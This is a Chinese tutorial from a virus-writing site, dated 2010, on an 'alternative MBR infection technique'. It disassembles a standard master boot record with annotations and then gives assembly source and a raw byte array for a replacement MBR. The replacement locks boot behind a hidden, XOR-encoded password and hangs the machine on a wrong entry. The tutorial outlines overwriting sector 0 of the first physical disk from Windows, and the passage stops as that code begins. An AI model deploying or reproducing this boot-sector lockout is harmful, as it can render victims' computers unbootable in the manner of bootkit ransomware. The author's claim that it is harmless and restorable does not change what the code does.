_ _
(_) | |
__ ____ __ _ _ _ _ __ ___ _ __ _ __ ___ | |_
/ / / // // /| || | | || '_ ` _ / | '_ / | '_ / / _ /| __|
/ V / > < | || |_| || | | | | || |_) |_ | | | || __/| |_
/_/ /_//_/| | /__,_||_| |_| |_|| .__/(_)|_| |_| /___| /__|
_/ | | |
|__/ |_|
/---------------------------------------------------------------------------------------/
|>...................[ MBR另类感染技术 ]..................<|
|>......................[ by chx4[x64asm]/vxjump.net ].....................<|
|>......................[ 2010-1-23 ].....................<|
|>......................[ http://chx4.tk ].....................<|
/>...................... [ chx4@x64asm.com ] ......................</
[*]目录]
[+] 简介
[+] 寻宗溯源----主引导扇区
[-]主引导扇区的宏观认识
[-]主引导扇区结构
[+] 知己知彼----硬盘主引导记录MBR
[-]主引导记录的查看
[-]主引导记录全逆向
[+] 千锤百炼----构造我们自己的MBR
[+] 改天换地----移动替换MBR
[-]MBR覆盖思路
[-]覆盖具体实现代码
[+] 灰飞烟灭----恢复原来的MBR
[+] 其他
[-]总结
[+]简介
DOS时代走过来的程序员,对引导扇区、MBR等概念比较熟悉,还有大家最有可能想到的就是引导型病毒。大家可能会有疑问:这些东西都过时了吧?
现在都是windows 、linux等待时代了,dos早就成为历史了。实际上,我给大家讲的这个东西只是更改和移动MBR,MBR对于windows系统来说是客观存在
的,所以我们可以操作它,是有实现的可能性的。严格的说对于单纯的研究系统来说,这些知识是有必要了解的。这里我们就对系统的MBR来个乾坤大挪
移(此招甚是厉害!).
为了不至于太唐突,我决定占一些篇幅来介绍一些前置的知识,我水平有限,有不对或者不足的地方请高手指出。
在开始正文之前,我们假设大家有一定的C或者是asm的基础,对于asm在此给大家推荐两本我认为不错的书:《intel汇编程序语言程序设计(第5版)》,
《Windows 32位汇编程序设计》。
[+] 寻宗溯源----主引导扇区
[-] 主引导扇区的宏观认识
一个完整硬盘的数据应该包括五部分:MBR,DBR,FAT,DIR区和DATA区。其中只有主引导扇区是唯一的,其它的随你的分区数的增加而增加。
主引导扇区位于整个硬盘的0磁头0柱面1扇区,包括硬盘主引导记录MBR(Main Boot Record)和分区表DPT(Disk Partition Table)。其中主引
导记录的作用就是检查分区表是否正确以及确定哪个分区为引导分区,并在程序结束时把该分区的启动程序(也就是操作系统引导扇区)调入内存
加以执行。
引导扇区在每个分区里都存在,但是我们常说的主引导扇区是硬盘的第一物理扇区。它由两个部分组成:即主引导记录MBR和硬盘分区表DPT。
在总共512字节的主引导分区里其中MBR占446个字节(偏移0--偏移1BDH),DPT占64个字节(偏移1BEH--偏移1FDH),最后两个字节“55,AA”
(偏移1FEH偏移1FFH)是分区的结束标志。
[-] 主引导扇区结构
这样说比较难理解,我们来看一个宏观的结构图:
0000 |------------------------------------------------|
| |
| |
| Main Boot Record |
| |
| |
| 主引导记录(446字节) |
| |
| |
| |
01BD | |
01BE |------------------------------------------------|
| |
01CD | 分区信息 1(16字节) |
01CE |------------------------------------------------|
| |
01DD | 分区信息 2(16字节) |
01DE |------------------------------------------------|
| |
01ED | 分区信息 3(16字节) |
01EE |------------------------------------------------|
| |
01FD | 分区信息 4(16字节) |
|------------------------------------------------|
| 01FE | 01FF |
| 55 | AA |
|------------------------------------------------|
图一:主引导扇区结构图
现在,我们对MBR在主引导扇区中的MBR的位置有了一定的了解,大家需要了解的仅仅是区分以上的几个概念和认我们要研究的这个MBR所处的位置,
下面我们会深入的分析MBR。Come on!
[+] 知己知彼----硬盘主引导记录MBR
系统在启动时,BIOS中断总是把主引导记录所在扇区(硬盘的0头0道1扇区)的内容(包括代码和数据)装入内存 0000:7C00起始的区域,然后检
验该扇区内容的最后两个字节是不是“AA55”。如果不是,那么对不起,Int19h将不把控制权交给主引导记录;若是,则下面的主引导记录才能获得控制
权了(Int19通过跳转指令交转控制权).
[-] 主引导记录的查看
二进制形式的主引导记录:
0000:0600 33 C0 8E D0 BC 00 7C FB-50 07 50 1F FC BE 1B 7C 3.....|.P.P....|
0000:0610 BF 1B 06 50 57 B9 E5 01-F3 A4 CB BE BE 07 B1 04 ...PW...........
0000:0620 38 2C 7C 09 75 15 83 C6-10 E2 F5 CD 18 8B 14 8B 8,|.u...........
0000:0630 EE 83 C6 10 49 74 16 38-2C 74 F6 BE 10 07 4E AC ....It.8,t....N.
0000:0640 3C 00 74 FA BB 07 00 B4-0E CD 10 EB F2 89 46 25 <.t...........F%
0000:0650 96 8A 46 04 B4 06 3C 0E-74 11 B4 0B 3C 0C 74 05 ..F...<.t...<.t.
0000:0660 3A C4 75 2B 40 C6 46 25-06 75 24 BB AA 55 50 B4 :.u+@.F%.u$..UP.
0000:0670 41 CD 13 58 72 16 81 FB-55 AA 75 10 F6 C1 01 74 A..Xr...U.u....t
0000:0680 0B 8A E0 88 56 24 C7 06-A1 06 EB 1E 88 66 04 BF ....V$.......f..
0000:0690 0A 00 B8 01 02 8B DC 33-C9 83 FF 05 7F 03 8B 4E .......3.......N
0000:06A0 25 03 4E 02 CD 13 72 29-BE 2D 07 81 3E FE 7D 55 %.N...r).-..>.}U
0000:06B0 AA 74 5A 83 EF 05 7F DA-85 F6 75 83 BE 1A 07 EB .tZ.......u.....
0000:06C0 8A 98 91 52 99 03 46 08-13 56 0A E8 12 00 5A EB ...R..F..V....Z.
0000:06D0 D5 4F 74 E4 33 C0 CD 13-EB B8 00 00 80 49 12 00 .Ot.3........I..
0000:06E0 56 33 F6 56 56 52 50 06-53 51 BE 10 00 56 8B F4 V3.VVRP.SQ...V..
0000:06F0 50 52 B8 00 42 8A 56 24-CD 13 5A 58 8D 64 10 72 PR..B.V$..ZX.d.r
0000:0700 0A 40 75 01 42 80 C7 02-E2 F7 F8 5E C3 EB 74 B7 .@u.B......^..t.
0000:0710 D6 C7 F8 B1 ED CE DE D0-A7 00 BC D3 D4 D8 B2 D9 ................
0000:0720 D7 F7 CF B5 CD B3 CA B1-B3 F6 B4 ED 00 4D 69 73 .............Mis
0000:0730 73 69 6E 67 20 6F 70 65-72 61 74 69 6E 67 20 73 sing operating s
0000:0740 79 73 74 65 6D 00 00 00-00 00 00 00 00 00 00 00 ystem...........
0000:0750 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0760 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0770 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0780 00 00 00 8B FC 1E 57 8B-F5 CB 00 00 00 00 00 00 ......W.........
0000:0790 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:07A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:07B0 00 00 00 00 00 00 00 00-86 D8 00 00 00 00 80 01 ................
0000:07C0 01 00 06 3F 3F FD 3F 00-00 00 41 A0 0F 00 00 00 ...??.?...A.....
0000:07D0 01 FE 05 3F FF FE 80 A0-0F 00 C0 4F 2F 00 00 00 ...?.......O/...
0000:07E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:07F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 AA ..............U.
哇塞,这是什么啊?不要呗吓到,我们来看看反汇编后的样子。我做了详细的注释,相信大家如果有asm基础的话,是可以看懂的!
[-] 主引导记录全逆向
反汇编结果
; 0000:7C00~0000:7C1A:初始化各个段寄存器、堆栈指针,最后将主引导记录在内存中搬家,腾出其所占内存空间以供装入分区引导记录。
0000:7C00 33C0 XOR AX,AX ;AX寄存器清0
0000:7C02 8ED0 MOV SS,AX ;SS=0
0000:7C04 BC007C MOV SP,7C00 ;装填栈指针——SS:SP=0000:7C00
0000:7C07 FB STI ;开中断(装填栈指针时为避免硬件中断引起栈混乱应关中断)
0000:7C08 50 PUSH AX ;
0000:7C09 07 POP ES ;装填附加数据段寄存器ES=0
0000:7C0A 50 PUSH AX ;
0000:7C0B 1F POP DS ;装填数据段寄存器DS=0
0000:7C0C FC CLD ;规定其后的串操作为正向串操作
0000:7C0D BE1B7C MOV SI,7C1B ;源指针
0000:7C10 BF1B06 MOV DI,061B ;目的指针
0000:7C13 50 PUSH AX ;
0000:7C14 57 PUSH DI ;看看0000:7C1A——构造一个跳转
0000:7C15 B9E501 MOV CX,01E5 ;
0000:7C18 F3 REPZ ;
0000:7C19 A4 MOVSB ;0000:7C1B起始的CX字节传送至0000:061B起始的区域
0000:7C1A CB RETF ;跳转到0000:061B(这是一种技巧跳转)
; 0000:061B~0000:062B: 对分区表进行初步检验,一旦检测到某分区表项状态字节大于等于80h,就通过(当然,在此之前如果检测到某项分区表的状态字节小于80h,就转错误处理。当然,如果四个分区项的状态字节都为零,主引导记录就会调用BIOS-ROM的INT 18h,显示“PRESS A KEY TO REBOOT” 信息等待你的操作。
0000:061B BEBE07 MOV SI,07BE ;SI指向第一个分区表项,这时CX=0
0000:061E B104 MOV CL,04 ;分区表共四个表项
0000:0620 382C CMP [SI],CH ;
0000:0622 7C09 JL 062D ;大于等于80h转[注意JL指令:(SF xor OF)=1则转]
0000:0624 7515 JNZ 063B ;不为0则[SI]一定小于80h,只能转错误处理了!
0000:0626 83C610 ADD SI,+10 ;为零则检查下一表项
0000:0629 E2F5 LOOP 0620 ;检查下一表项
0000:062B CD18 INT 18 ;四表项的状态字节都为0,则系统只好调用INT 18h了!
;
; 0000:062D~0000:0639:检查剩余的分区表项——状态字节必须为零,否则显示错误信息“分区表无效”然后当机!
;PS:竟然是中文提示,郁闷!这里还有个小BUG,前面放行原则是只要状态字节大于等于80h,那么如果这个字节是诸如A0h、E5h之类;数值呢?嘿嘿,这个引导记录统统认为是有效的可引导分区了!悲哀!
0000:062D 8B14 MOV DX,[SI] ;为读分区引导记录做准备:磁头号→DH,驱动器号→DL
0000:062F 8BEE MOV BP,SI ;SI→BP,保存可引导分区表项的指针
0000:0631 83C610 ADD SI,+10 ;其余的分区表项还要检查检查的
0000:0634 49 DEC CX ;
0000:0635 7416 JZ 064D ;CX=0则检查顺利通过,转继续
0000:0637 382C CMP [SI],CH ;
0000:0639 74F6 JZ 0631 ;为零,是合法表项,再查下一表项
; 0000:063B~0000:064B:执行错误处理——报告错误信息后当机
0000:063B BE1007 MOV SI,0710 ;错误信息字符串偏移+1→SI
0000:063E 4E DEC SI ;SI-1→SI
0000:063F AC LODSB ;SI+1→SI
0000:0640 3C00 CMP AL,00 ;
0000:0642 74FA JZ 063E ;AL=0则表明一条错误信息显示完毕,系统陷入一个死循环
0000:0644 BB0700 MOV BX,0007 ;字符方式显示
0000:0647 B40E MOV AH,0E ;
0000:0649 CD10 INT 10 ;以写电传方式显示信息(只显示一个字符)
0000:064B EBF2 JMP 063F ;显示下一个字符,直到遇到提示信息结束为止
; 0000:064D~0000:0662:判断可引导分区的分区类型,然后转相应处理程序。
0000:064D 894625 MOV [BP+25],AX ;BP=指向第一个可引导分区表项的指针,这时AX=0000h
;使用长度最短的指令将[BP+25]起始的两个单元清零
;这两个单元将被用来存放中间变量
0000:0650 96 XCHG SI,AX ;此时SI清零的最佳指令选择(仅1字节),将服务于0000:06B8
0000:0651 8A4604 MOV AL,[BP+04] ;取分区类型(本例是“06”喽——FAT16主DOS分区)
0000:0654 B406 MOV AH,06 ;为扩展INT 13h无法使用做好更改分区类型的准备
0000:0656 3C0E CMP AL,0E ;0Eh:需要用扩展INT 13h访问的FAT16主DOS分区
0000:0658 7411 JZ 066B ;0Eh类型的分区转066Bh
0000:065A B40B MOV AH,0B ;
0000:065C 3C0C CMP AL,0C ;0Ch:需要用扩展INT 13h访问的FAT32分区
0000:065E 7405 JZ 0665 ;0Ch类型的分区转0665h先行预处理
0000:0660 3AC4 CMP AL,AH ;0Bh:用传统INT 13h就可以访问的FAT32分区
0000:0662 752B JNZ 068F ;其他类型的分区转068Fh
; 0000:0664~0000:06A1:根据分区类型和分区表表项内容进行读取分区引导记录前的处理工作
0000:0664 40 INC AX ;★★★0Bh类型的分区由此开始处理,此条指令用意是清ZF位
0000:0665 C6462506 MOV BYTE PTR [BP+25],06 ;★★★0Ch类型的分区由此开始处理
;为什么取值06,一时没有自圆我说的解释,请耐心几天吧。
0000:0669 7524 JNZ 068F ;请注意上面指令对ZF位的影响:0Bh类型分区转,0Ch则不转
; 0000:066B~0000:068C这段代码仅当分区类型是0Ch、0Eh才有获得执行的机会
0000:066B BBAA55 MOV BX,55AA ;★★★0Eh类型的分区由此开始处理
0000:066E 50 PUSH AX ;
0000:066F B441 MOV AH,41 ;扩展INT 13h功能,检测BIOS是否已经支持扩展INT13h
0000:0671 CD13 INT 13 ;入口参数:BX=55AAh,DL=驱动器号,AH=41h
0000:0673 58 POP AX ;执行完恢复AX为060Eh
0000:0674 7216 JB 068C ;不支持则转
0000:0676 81FB55AA CMP BX,AA55 ;
0000:067A 7510 JNZ 068C ;扩展INT13h不可用也转
0000:067C F6C101 TEST CL,01 ;测试扩展盘访问是否被支持
0000:067F 740B JZ 068C ;不支持还转
; 因为扩展INT13h方式读盘与标准INT13h方式读盘有很大差别, 所以0000:0686处指令修改其后的代码以保证按照扩展读方式读分区引导扇区时
; 能正确跳转到相应的处理程序中。
0000:0681 8AE0 MOV AH,AL ;分区类型→AH
0000:0683 885624 MOV [BP+24],DL ;保存驱动器号→[BP+24]
0000:0686 C706A106EB1E MOV WORD PTR [06A1],1EEB ;修改0000:06A1处代码为"JMP 06C1"
0000:068C 886604 MOV [BP+04],AH ;注意:如果扩展INT13h不能使用则A改分区类型为06,但如果
;扩展INT13h能使用,则仍保持原分区类型不变
0000:068F BF0A00 MOV DI,000A ;★★★其它类型分区由此开始处理。此条指令初始化计数器
0000:0692 B80102 MOV AX,0201 ;AH:读操作,AL:读取1个扇区的内容
0000:0695 8BDC MOV BX,SP ;SP=7C00→BX,指定分区引导记录装入内存的位置偏移
0000:0697 33C9 XOR CX,CX ;CX清零
0000:0699 83FF05 CMP DI,+05 ;注意5<DI≤A和DI≤5两者的区别:所读扇区不一样
0000:069C 7F03 JG 06A1 ;大于则转去读由分区表指定的分区引导扇区
0000:069E 8B4E25 MOV CX,[BP+25] ;小于则证明所读分区表指定的引导扇区无合法的引导记录,
;改按???再读,毕竟多一种选择多一次机会嘛!;)
; 以下标有①②者请注意它们的地址都是一样的,就是说实际运行中只可能是二者之一,但为了分析之方便,我把两者都列了出来以供对比,阅 读时千万别看成是两条指令了啊!
①0000:06A1 034E02 ADD CX,[BP+02] ;获取分区引导扇区所在的柱面号和物理扇区号
②0000:06A1 EB1E JMP 06C1 ;如果分区类型是0Ch、0Eh而且扩展读能使用则执行该指令
; 0000:06A4:将可引导分区的分区引导记录装入内存指定区域
; 入口参数:AH=功能号,02为读盘操作; AL=一次读取的扇区数;
; ES:BX=读入内存的起始地址;
; CH=10位柱面号的低8位; CL:高两位是10位柱面号的高两位,低6位是物理扇区号;
; DH=磁头号; DL=驱动器号,最高位(即位7)为0是软盘,为1是硬盘;
0000:06A4 CD13 INT 13 ;读分区引导记录到0000:7C00起始的区域
0000:06A6 7229 JB 06D1 ;不成功转
0000:06A8 BE2D07 MOV SI,072D ;错误信息字符串偏移→SI
0000:06AB 813EFE7D55AA CMP WORD PTR [7DFE],AA55 ;分区引导记录合法吗?
0000:06B1 745A JZ 070D ;合法则转(这是主引导记录唯一的正常出口)
0000:06B3 83EF05 SUB DI,+05 ;不合法则为换读其他扇区做准备
0000:06B6 7FDA JG 0692 ;只有一次换读扇区的机会!
; 0000:06B8~0000:06BF:错误预处理
0000:06B8 85F6 TEST SI,SI ;测试SI值是否为0,其意义在于确定该显示哪条信息
0000:06BA 7583 JNZ 063F ;不为0则转错误处理,显示“Missing operating system”
0000:06BC BE1A07 MOV SI,071A ;错误信息字符串偏移→SI
0000:06BF EB8A JMP 064B ;转错误处理,显示“加载操作系统时出错”
; 0000:06C1~0000:06CF:整理扩展读所需入口参数,然后调用扩展读子程序
; 这段代码只有在以扩展读方式读取分区引导记录时才有机会获得执行
0000:06C1 98 CBW ;转换字节AL为字AX,执行后,AX中是一次要读的扇区数
0000:06C2 91 XCHG CX,AX ;AX→CX,CX→AX,执行后,CX中是一次要读的扇区数
0000:06C3 52 PUSH DX ;
0000:06C4 99 CWD ;将字AX转换为双字→DX,AX
0000:06C5 034608 ADD AX,[BP+08] ;
0000:06C8 13560A ADC DX,[BP+0A] ;执行后,DX:AX=LBA绝对物理扇区号
0000:06CB E81200 CALL 06E0 ;调用扩展读子程序
0000:06CE 5A POP DX ;
0000:06CF EBD5 JMP 06A6 ;
; 0000:06D1~0000:06D8分区引导记录装入失败时的处理
0000:06D1 4F DEC DI ;计数器减1
0000:06D2 74E4 JZ 06B8 ;五次读盘均未成功则转错误处理(注意这时SI=0)
0000:06D4 33C0 XOR AX,AX ;置功能号
0000:06D6 CD13 INT 13 ;复位磁盘系统
0000:06D8 EBB8 JMP 0692 ;再读
;
;
0000:06DA 00 00 80 49 12 00 ...I..
;
; 0000:06E0~0000:070C:使用扩展INT 13h功能读取分区引导记录的子程序
; 调用时,SP=7BFE。这段程序利用压栈寄存器方式构造了一个磁盘地址包,请注意体会。另外,0000:06FC处的一条指令就释放了几乎全部由本 段程序占用的栈空间,构思之巧妙,绝对需要我们学习!所以,分析该段程序,一个重点应放在栈的变化上。
0000:06E0 56 PUSH SI ;保存SI——注意,这次压栈并不构造磁盘地址包
0000:06E1 33F6 XOR SI,SI ;清零
0000:06E3 56 PUSH SI ;
0000:06E4 56 PUSH SI ;
0000:06E5 52 PUSH DX ;
0000:06E6 50 PUSH AX ;以上四条指令压栈的是扇区LBA号码*2
0000:06E7 06 PUSH ES ;压栈内存目标缓冲区首址段址
0000:06E8 53 PUSH BX ;压栈内存目标缓冲区首址偏移
0000:06E9 51 PUSH CX ;压栈所读扇区数
0000:06EA BE1000 MOV SI,0010 ;注意SI的高8位对应着磁盘地址包的保留字节,必须为0
0000:06ED 56 PUSH SI ;压栈磁盘地址包包长,执行完本条指令一个包已经构造完毕
0000:06EE 8BF4 MOV SI,SP ;规定磁盘地址包偏移指针,这时SP=7BEA
0000:06F0 50 PUSH AX ;保存AX
0000:06F1 52 PUSH DX ;保存DX
0000:06F2 B80042 MOV AX,4200 ;置扩展读功能号
0000:06F5 8A5624 MOV DL,[BP+24] ;取驱动器号,参照0000:0683
; 入口参数:AH=功能号,02为读盘操作;DL=驱动器号
; DS:SI=16字节磁盘地址包——第0字节:包长度(固定为10h);第1字节:保留,必须为0;
; 第2、3字节:所读扇区数;第4~5字节:内存目标缓冲区首址偏移;
; 第6~7字节:内存目标缓冲区首址段址; 第8~15字节:扇区LBA号码
; 出口参数:成功则AH=0;错误则AH=错误代码
0000:06F8 CD13 INT 13 ;执行扩展读操作
0000:06FA 5A POP DX ;
0000:06FB 58 POP AX ;
0000:06FC 8D6410 LEA SP,[SI+10] ;7BEA+10h=7BFA→SP(注意是取偏移而不是取单元内容)
0000:06FF 720A JB 070B ;扩展读不成功转
0000:0701 40 INC AX ;
0000:0702 7501 JNZ 0705 ;
0000:0704 42 INC DX ;AX加1溢出时(比如0FFFFh+1)DX才加1
0000:0705 80C702 ADD BH,02 ;调整BX,使偏移量增加512字节(刚好一扇区)
0000:0708 E2F7 LOOP 0701 ;0701~0708一段代码暂未明白其真实意图!
0000:070A F8 CLC ;
0000:070B 5E POP SI ;
0000:070C C3 RET ;
; 0000:070D:中继跳转
0000:070D EB74 JMP 0783 ;
; 070F~0745是错误信息,奇怪的是前两条是中文,是我的分区表变异了???呵呵
; 070F~0718:“分区表无效”中文信息
; 071A~072B:“加载操作系统时出错”中文信息
; 072D~0744:“Missing operating system”英文信息
0000:070F B7 .
0000:0710 D6 C7 F8 B1 ED CE DE D0-A7 00 BC D3 D4 D8 B2 D9 ................
0000:0720 D7 F7 CF B5 CD B3 CA B1-B3 F6 B4 ED 00 4D 69 73 .............Mis
0000:0730 73 69 6E 67 20 6F 70 65-72 61 74 69 6E 67 20 73 sing operating s
0000:0740 79 73 74 65 6D 00 00 00-00 00 00 00 00 00 00 00 system..........
0000:0750 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0760 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0770 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0780 00 00 00 ...
; 0000:0783~0000:0789:控制权移交
0000:0783 8BFC MOV DI,SP ;
0000:0785 1E PUSH DS ;
0000:0786 57 PUSH DI ;构造一个跳转地址
0000:0787 8BF5 MOV SI,BP ;
0000:0789 CB RETF ;交控制权给分区引导记录(0000:7C00)
;
;
0000:078A 00 00 00 00 00 00 ......
0000:0790 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:07A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
; 07B8~07BB四个字节的内容用于什么呢?(不同机器此四字节均不同)
; 07BE~07FD为分区表,内含四个分区表项(每表项10h字节)
0000:07B0 00 00 00 00 00 00 00 00-86 D8 00 00 00 00 80 01 ................
0000:07C0 01 00 06 3F 3F FD 3F 00-00 00 41 A0 0F 00 00 00 ...??.?...A.....
0000:07D0 01 FE 05 3F FF FE 80 A0-0F 00 C0 4F 2F 00 00 00 ...?.......O/...
0000:07E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:07F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 AA ..............U.
*1:因为物理扇区号总是从1排列而起
*2:由此可见,就是使用LBA扩展读的功能,主引导记录却限制了分区引导扇区必须在LBA绝对物理扇区
0FFFFFFFFh之前才有可能从该分区引导系统!
终于完了,呼呼!上面的反汇编的东西篇幅比较长,但是很有研究价值,很多参考了含笑大哥的分析,再次感谢下!希望大家也可以好好的研究下,其中设计之精妙,不能不让我为之赞叹!
[+] 千锤百炼----构造我们自己的MBR
搞清楚了MBR的结构,我们就可以自己写代码操作MBR了,我给个之前写的示例,同样做了很详细的注释,利用这个程序我们可以提权出我们需要的MBR数据的十六进制。此程序非单独使用的程序:只是需要其二进制代码。(严禁单独使用)
; 用TASM编译链接
; tasm my;
; tlink my;
; 然后改my.exe 为my,用debug装入,移动代码后重写为一个my.bin的文件,重定向到一个文本,取所需数据编辑。
;
; 本程序试验扩展Int13的扩展读——读出被放在物理硬盘第二扇区的真正主引导记录,
; 然后把控制权交给真正的主引导记录。
;
;
.MODEL small
.386
;
;
.code
start:
_startAddr EQU $
CLI
XOR AX,AX ; AX寄存器清0
MOV SS,AX ; SS=0
MOV SP,7C00h ; 装填栈指针——SS:SP=0000:7C00
STI ; 开中断(装填栈指针时为避免硬件中断引起栈混乱应关中断)
PUSH AX ;
POP ES ; 装填附加数据段寄存器ES=0
PUSH AX ;
POP DS ; 装填数据段寄存器DS=0
CLD ; 规定其后的串操作为正向串操作
MOV SI,7C1Ch ; 源指针————————————注意,RETF前任何指令的修改都会影响这个指针的
MOV DI,061Ch ; 目的指针———————————注意,RETF前任何指令的修改都会影响这个指针的
PUSH AX ;
PUSH DI ; 构造一个跳转
MOV CX,0200h ;
REP MOVSB ; 0000:7C1C起始的CX字节传送至0000:061C起始的区域
RETF ; 跳转到0000:061C(这是一种技巧跳转)
;下面一段程序利用压栈寄存器方式构造一个磁盘地址包
XOR AX,AX
PUSH AX
PUSH AX
PUSH AX
MOV AX,0001h ; 0002h
PUSH AX ; 压栈要读的64位磁盘LAB起始绝对块地址——物理第二扇区
XOR AX,AX
PUSH AX ; 压栈要读入数据在内存中存放的段址 0000
MOV AX,7C00h
PUSH AX ; 压栈要读入数据在内存中存放的偏移 7C00h
MOV AX,1
PUSH AX ; 压栈所要读取的扇区数【要传输的数据块个数(以扇区为单位)】
MOV AX,0010h
PUSH AX ; 数据包保留字节必须为0,数据包长度必须为16字节。
MOV SI,SP ; SI指向磁盘地址包偏移指针,这时SP=7BEA
MOV AX,4200h ; 置扩展读功能号
MOV DL,80h ; 对本磁盘操作
INT 13h ; 执行扩展读操作
JC _error ; 读错误转
jmp _ok
_szMsgAddr EQU $
_szMsg db ‘The MRB have been replaced! Input 7 char's password:'
_szMsgLen EQU $-_szMsg
_szPassWordAddr EQU $
_szPassWord db 0B5h,0A8h,0B7h,0B2h,0B7h,0B3h,0BFh ;3.14159的ASCII码异或86h的数值
_szPassWordLen EQU $-_szPassWord
_szBufAddr EQU $
_szBuf db _szPassWordLen dup(0)
_ok:
MOV SP,7C00h ; 装填栈指针——SS:SP=0000:7C00,多余语句,但是写上放心
mov ax,0B800h ; B800h段是计算机引导时默认显示模式下,显存的起始段址
mov es,ax
push cs
pop ds
;mov si,offset _szMsg ; 注意,这里是取不到真正的相对偏移的
; 采用重定位技术
mov si,_szMsgAddr-_startAddr+0600h ;_szMsgAddr-_startAddr得到相对于第一条指令的偏移,加上这时的内存基址
xor di,di
mov ah,0BCh ; 规定字符的颜色为红色(还可以追加背景色和是否闪烁的)
mov cx,_szMsgLen
_loop:
lodsb
stosw ; 这两条指令的配合请仔细揣摩
loop _loop ; 显示_szMsg的信息而已
push ds
pop es
mov cx,_szPassWordLen
mov di,_szBufAddr-_startAddr+0600h
_nextchar: ; 等待输入7个密码(不回显)
push cx
push di
_wait:
mov ah,0
int 16h
or al,al
jz _wait ; BIOS中断是可以使用的,我们在此暂停,等待一个键盘动作
pop di
xor al,86h
stosb
pop cx
loop _nextchar
mov si,_szPassWordAddr-_startAddr+0600h
mov di,_szBufAddr-_startAddr+0600h
mov cx,_szPassWordLen
repz cmpsb ; 比较密码是否相等
jnz _error ; 不等则转出错处理
xor ax,ax
push ax
mov di,7C00h
push di ; 老伎俩:构造一个跳转口
RETF ; 移交控制权给原来的主引导记录
_error:
mov ax,0B800h
mov ds,ax
xor bx,bx
mov ax,0fc45h ; 红色的'E'被显示,Over!
mov [bx],ax
JMP $ ; 死循环
;
end start
本程序(My.exe)在Debug下动态跟踪后产生的磁盘地址包
;13C7:063B CD13 INT 13
;-d ds:7bf0
; 包尺寸.留.扇区数.偏移. 段址 .L B A 物 理 扇 区 号’
;13C7:7BF0 10 00 01 00 00 7C 00 00-02 00 00 00 00 00 00 00 .....|..........
;13C7:7C00 FA 33 C0 8E D0 BC 00 7C-FB 50 07 50 1F FC BE 1C .3.....|.P.P....
;13C7:7C10 7C BF 1C 06 50 57 B9 00-01 F3 A4 CB 33 C0 50 50 |...PW......3.PP
;13C7:7C20 50 B8 02 00 50 33 C0 50-B8 00 7C 50 B8 01 00 50 P...P3.P..|P...P
;13C7:7C30 B8 10 00 50 8B F4 B8 00-42 B2 80 CD 13 73 04 90 ...P....B....s..
;13C7:7C40 90 EB FE BF 00 7C FF E7-EB FE 6C 00 00 00 00 00 .....|....l.....
;13C7:7C50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
到此我们已经为我们的乾坤大挪移做好了铺垫,接下来就找机会出招吧!有没有跃跃欲试的感觉呢?呼呼!
[+] 改天换地----移动替换MBR
我们要清楚一个事实:系统上的设备都可以看做是文件。因此我们可以使用CreateFile,ReadFile,WriteFile这些API操作他们。
我们怎么实现移动和更改MBR呢?
[-] MBR覆盖思路
基本思路是这样的:
1. 打开第一个物理硬盘
2. 读取原先的MBR到一个缓冲区
3. 用我们的MBR覆盖填充到第一扇区
4. 把原先的MBR存放到第二扇区
5. 写原先的MBR倒一个bin文件中
在这里我们说明几点:
1) 为什么最后把原先的MBR保存倒文件里了,还要在这之前把他放在第二扇区呢?因为我们的MBR启动可能会需要一些原先的数据,因为我们构造不一定包含了所有的数据结构,所以不能损坏原来的。
2) 为什么要保存原来的MBR倒一个文件,因为我们最后是要恢复的,我们写的不是病毒,最好不要搞不能恢复的破坏,呼呼!我们都是私有青年哈!
这是我写的新MBR,将被程序转储到szBuffer1起始的缓冲区中
szMyMBR db 0FAh,033h,0C0h,08Eh,0D0h,0BCh,000h,07Ch,0FBh,050h,007h,050h,01Fh,0FCh,0BEh,01Ch
db 07Ch,0BFh,01Ch,006h,050h,057h,0B9h,000h,002h,0F3h,0A4h,0CBh,033h,0C0h,050h,050h
db 050h,0B8h,001h,000h,050h,033h,0C0h,050h,0B8h,000h,07Ch,050h,0B8h,001h,000h,050h
db 0B8h,010h,000h,050h,08Bh,0F4h,0B8h,000h,042h,0B2h,080h,0CDh,013h,00Fh,082h,08Bh
db 000h,0EBh,041h,090h,054h,068h,065h,020h,04Dh,052h,042h,020h,068h,061h,076h,065h
db 020h,062h,065h,065h,06Eh,020h,072h,065h,070h,06Ch,061h,063h,065h,064h,021h,020h
db 049h,06Eh,070h,075h,074h,020h,037h,020h,063h,068h,061h,072h,020h,070h,061h,073h
db 073h,077h,06Fh,072h,064h,03Ah,0B5h,0A8h,0B7h,0B2h,0B7h,0B3h,0BFh,000h,000h,000h
db 000h,000h,000h,000h,0BCh,000h,07Ch,0B8h,000h,0B8h,08Eh,0C0h,00Eh,01Fh,0BEh,044h
db 006h,033h,0FFh,0B4h,0BCh,0B9h,032h,000h,0ACh,0ABh,0E2h,0FCh,01Eh,007h,0B9h,007h
db 000h,0BFh,07Dh,006h,051h,057h,0B4h,000h,0CDh,016h,00Ah,0C0h,074h,0F8h,05Fh,034h
db 086h,0AAh,059h,0E2h,0EFh,0BEh,076h,006h,0BFh,07Dh,006h,0B9h,007h,000h,0F3h,0A6h
db 075h,00Ah,090h,090h,033h,0C0h,050h,0BFh,000h,07Ch,057h,0CBh,0B8h,000h,0B8h,08Eh
db 0D8h,033h,0DBh,0B8h,045h,0FCh,089h,007h,0EBh,0FEh
szIDAddr EQU $-szMyMBR
db 055h,0AAh,0AAh,055h
szMyMBRLen EQU $-szMyMBR
好了,现在我们来看看部分核心的代码
[-] 覆盖具体实现代码
CODE:
.code
start:
; 提示信息
invoke MessageBox,NULL,offset szMessage,offset szCaption2,MB_OK or MB_ICONINFORMATION
; 核心
; 打开第一个物理硬盘
